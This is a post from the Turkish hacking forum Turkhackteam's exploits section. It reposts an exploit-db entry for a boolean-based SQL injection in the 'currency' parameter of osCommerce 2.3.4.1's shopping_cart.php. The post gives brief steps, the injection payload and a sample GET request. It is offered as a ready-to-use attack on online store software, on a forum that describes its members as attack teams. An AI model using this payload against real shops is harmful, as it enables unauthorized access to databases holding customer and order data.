Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...




osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 14-02-2019 01:44   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
04/2012
Nereden
Sivas / 58
Yaş
30
Mesajlar
Konular

Teşekkür (Etti): 162
Teşekkür (Aldı): 63


osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities



# Exploit Title / Exploit Basllig: osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities
# Dork: N/A
# Date / Tarih: 05-02-2019
# Author / Ekleyen: Mehmet EMIROGLU
# Vendor Homapage / Yapimci Adresi: https://www.oscommerce.com
# Script Adresi: https://www.oscommerce.com/Products
# Version / Versiyon: 2.3.4.1
# Category / Kategori: Webapps
# Tested on / Test edilen isletim sistemi: Wampp @win
# CVE: N/A

Aciklama:
osCommerce Online Magaza olarak kullanilan yazilimlardan birisidir.
Hem Kullanici hemde Admin panelinde 8,855 ten fazla Eklentisi bulunan bir yazilimdir.

# Güvenliik Acigi
# Bu acik osCommerce 2.3.4.1 versiyonunda bulunmaktadir..
# shopping_cart sekmesine girin shopping_cart.php?currency=1 URL'de ki "ID" degerini yüksek bir sayi ile degistirin


Örnek: http://localhost/oscommerce/catalog/...rency=99999999

# SQL (Boole Tabanli)
# Parametreler: para birimi
# Saldiri Türü: %27 oR 3620772=3620772 aNd %276199%27=%276199
# GET Istegi:
http://localhost/oscommerce/catalog/...cy=99999999%27
oR 3620772=3620772 aNd %276199%27=%276199

Exploit Adresi:
https://www.exploit-db.com/exploits/46328



___________________________________________

“Bir soru sorulduğunda sorudan çok sana soruyu soranı tanımaya çalış”
 Offline  
 
Alıntı ile Cevapla
Teşekkür

BAGAY, Marschal Teşekkür etti.
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau